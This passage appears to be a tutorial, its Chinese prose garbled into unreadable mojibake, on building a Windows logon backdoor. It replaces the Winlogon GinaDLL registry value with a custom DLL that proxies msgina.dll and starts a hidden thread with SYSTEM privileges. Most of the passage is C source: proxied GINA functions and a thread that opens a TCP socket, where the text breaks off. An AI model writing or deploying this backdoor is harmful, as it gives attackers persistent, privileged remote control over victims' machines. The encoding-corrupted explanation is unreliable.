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[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"GinaDLL"="ginadll.dll"£¨ginadll.dll¾ÍÎÒÃÇ×Ô¼ºµÄÓÃÀ´Ìæ»»µÄGina£©
ÔÚÎÒÃÇ×Ô¼ºµÄDLLÖÐÖ»Òª°î¶¨Ò»¸öSHELL£¬ÆäËûµÄÖ±½Óµ÷ÓÃmsgina.dll¾ÍÐÐÁË¡£Ëµ°×Á˾Ͱ²×°Ò»¸öÖмä²ã¡£Ê¹Æä´ïµ½Ò»¸öºóÃŵÄÄ¿µÄ¡£GinaÊǼÓÔØµ½winlogin½ø³ÌÖеģ¬winloginÊÇϵͳµÄÓû§½»»¥µÇ½½ø³ÌÊÇSYSTEMȨÏ޵ģ¬Òò´ËÎÒÃǵĺóÃÅÒ²ÓÐSYSTEMȨÏÞ¡£Õâ¶ÔÓÚºóÃÅÀ´ËµÊÇÔٺò»¹ýÁË¡£
ÓÉÓÚÎÒÃÇÒ»¹²ÒªÌæ»»15¸öGinaº¯Êý¡£È«²¿Ð´³öÀ´À´Á¿Ï൱´ó¡£ÎÒÃǾÍÑ¡¼¸¸öÖØÒªµÄ³öÀ´×ö×öʾ·¶¡£ÆäËûµÄÒ²²î²»¶à¾ÍÖ±½ÓÍùÏÂÒ»²ãµÄmsgina.dllµ÷ÓþÍÐÐÁË¡£ÏêϸµÄÇë²Î¿¼ÍêÕûÔ´´úÂë¡£
typedef BOOL (WINAPI *PFUNCWLXNEGOTIATE)( DWORD, DWORD* );
typedef BOOL (WINAPI *PFUNCWLXINITIALIZE)( LPWSTR, HANDLE, PVOID, PVOID, PVOID* );
typedef VOID (WINAPI *PFUNCWLXDISPLAYSASNOTICE)( PVOID );
typedef int (WINAPI *PFUNCWLXLOGGEDOUTSAS)( PVOID, DWORD, PLUID, PSID, PDWORD, PHANDLE, PWLX_MPR_NOTIFY_INFO, PVOID *);
typedef BOOL (WINAPI *PFUNCWLXACTIVATEUSERSHELL)( PVOID, PWSTR, PWSTR, PVOID );
typedef int (WINAPI *PFUNCWLXLOGGEDONSAS)( PVOID, DWORD, PVOID );
typedef VOID (WINAPI *PFUNCWLXDISPLAYLOCKEDNOTICE)( PVOID );
typedef int (WINAPI *PFUNCWLXWKSTALOCKEDSAS)( PVOID, DWORD );
typedef BOOL (WINAPI *PFUNCWLXISLOCKOK)( PVOID );
typedef BOOL (WINAPI *PFUNCWLXISLOGOFFOK)( PVOID );
typedef VOID (WINAPI *PFUNCWLXLOGOFF)( PVOID );
typedef VOID (WINAPI *PFUNCWLXSHUTDOWN)( PVOID, DWORD );
typedef BOOL (WINAPI *PFUNCWLXSCREENSAVERNOTIFY)( PVOID, BOOL * );
typedef BOOL (WINAPI *PFUNCWLXSTARTAPPLICATION)( PVOID, PWSTR, PVOID, PWSTR );
typedef BOOL (WINAPI *PFUNCWLXNETWORKPROVIDERLOAD) (PVOID, PWLX_MPR_NOTIFY_INFO);
ºóÃÅÒªÓõ½µÄÈ«¾Ö±äÁ¿
//¹ÜµÀ
HANDLE hStdOut = NULL, hSRead = NULL;
HANDLE hStdInput = NULL, hSWrite = NULL;
//ÓÃÀ´¿ØÖÆÏß³ÌÊÇ·ñ½áÊø·µ»Ø
BOOL bExit = FALSE;
//±£´æ´´½¨µÄCMD½ø³ÌÓï±ú
HANDLE hProcess = NULL;
//Õâ¸öÊÇWinlogon½ø³Ì×îÏȵ÷Óõĺ¯Êý£¬ÓÃÀ´¼ì²éGinaÖ§³ÖµÄwinlogin°æ±¾
BOOL WINAPI WlxNegotiate(DWORD dwWinlogonVersion, DWORD *pdwDllVersion)
{
HINSTANCE hDll=NULL;
if( !(hDll = LoadLibrary( "msgina.dll" )) )
return FALSE;
//È¡µÃmsgina.dllÖеÄWlxNegotiateº¯ÊýÈë¿Ú
PFUNCWLXNEGOTIATE pWlxNegotiate = (PFUNCWLXNEGOTIATE)GetProcAddress( hDll, "WlxNegotiate" );
if( !pWlxNegotiate )
return FALSE;
//Íùϲãµ÷ÓÃ
return pWlxNegotiate( dwWinlogonVersion, pdwDllVersion );
}
//Ϊһ¸öÌØ±ðµÄ´°¿ÚÕ¾³õʼ»¯Ò»¸öGinaDLL
BOOL WINAPI WlxInitialize( LPWSTR lpWinsta, HANDLE hWlx,
PVOID pvReserved, PVOID pWinlogonFunctions, PVOID *pWlxContext)
{
HINSTANCE hDll=NULL;
if( !(hDll = LoadLibrary( "msgina.dll" )) )
return FALSE;
PFUNCWLXINITIALIZE pWlxInitialize = (PFUNCWLXINITIALIZE)GetProcAddress( hDll,"WlxInitialize" );
if( !pWlxInitialize )
return FALSE;
//³õʼ»¯windows socketµÄWS2_32.DLL
WSADATA WSAData;
if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)
return FALSE;
//ͬÉÏÍùϵ÷ÓÃ
return pWlxInitialize( lpWinsta, hWlx, pvReserved,pWinlogonFunctions,pWlxContext );
}
//WinlogonÔÚûÓÐÓû§µÇ½ʱ½ÓÊÕµ½Ò»¸öSASʼþµ÷ÓÃÕâ¸öº¯Êý
int WINAPI WlxLoggedOutSAS(PVOID pWlxContext, DWORD dwSasType,
PLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions,
PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
PVOID *pProfile)
{
HINSTANCE hDll=NULL;
if( !(hDll = LoadLibrary( "msgina.dll" )) )
return FALSE;
PFUNCWLXLOGGEDOUTSAS pWlxLoggedOutSAS = (PFUNCWLXLOGGEDOUTSAS)GetProcAddress( hDll, "WlxLoggedOutSAS" );
if( !pWlxLoggedOutSAS )
return FALSE;
HANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //´´½¨»¥³â¶ÔÏó
WaitForSingleObject(hmutex,INFINITE);
//ºóÃŵÄÖ÷Ï߳̿ªÊ¼¡£
CreateThread(NULL,NULL,StartInit,NULL,NULL,NULL);
ReleaseMutex(hmutex);
CloseHandle(hmutex);
//µ÷ÓÃϲãµÄWlxLoggedOutSAS.
int ret = pWlxLoggedOutSAS(pWlxContext, dwSasType, pAuthenticationId, pLogonSid, pdwOptions, phToken, pMprNotifyInfo, pProfile );
return ret;
}
//StartInitÏß³Ì
DWORD WINAPI StartInit(PVOID lp)
{
SOCKET sock=NULL;
//½¨Á¢Ò»¸öTCP SOCKET
sock = socket (AF_INET,SOCK_STREAM,IPPROTO_TCP);
SOCKADDR_IN addr_in = {0};
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